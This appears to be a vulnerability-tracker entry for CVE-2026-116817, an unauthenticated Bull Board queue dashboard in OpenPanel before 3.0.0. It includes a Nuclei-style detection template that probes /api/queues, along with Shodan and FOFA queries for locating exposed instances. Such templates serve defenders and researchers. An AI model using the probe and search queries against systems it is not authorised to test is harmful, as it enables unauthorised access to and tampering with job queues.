CVE-2026-116817: OpenPanel - Unauthenticated Bull Board Queue Dashboard

2026-11-09 PoC Public

Description

OpenPanel before 3.0.0 contains a broken authentication vulnerability caused by missing authentication on the Bull Board dashboard served on the worker HTTP port, letting unauthenticated attackers access and modify queue data and jobs, exploit requires no authentication.

Details

CVE
CVE-2026-116817 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-116817

info:
  name: OpenPanel - Unauthenticated Bull Board Queue Dashboard
  author: kosoyyagent
  severity: medium
  description: |
    OpenPanel before 3.0.0 contains a broken authentication vulnerability caused by missing authentication on the Bull Board dashboard served on the worker HTTP port, letting unauthenticated attackers access and modify queue data and jobs, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access and modify job queues, potentially disrupting operations and accessing sensitive queue data.
  remediation: |
    Update to version 3.0.0 or later.
  reference:
    - https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-r627-6vrh-65p9
    - https://github.com/Openpanel-dev/openpanel/commit/193e1e3ae01aa5208b3bee754ddee2c7ce33b38d
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-116817
    epss-score: 0.00565
    epss-percentile: 0.47221
    cwe-id: CWE-306
  metadata:
    max-request: 1
    vendor: openpanel
    product: openpanel
    shodan-query: title:"Bull Dashboard"
    fofa-query: title="Bull Dashboard"
  tags: cve,cve2026,openpanel,exposure,bullboard,unauth,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/queues"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"readOnlyMode"'
          - '"allowRetries"'
          - '"isPaused"'
        condition: and
# digest: 4a0a00473045022054fd0188a097df771bb6d82da78a9719fd6cca889d102e7bd81ad644197fd54f022100c6e2536731bfe1c80a4c726c71e0f74866394b5c8a1dca502d2e4bb88276dff7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life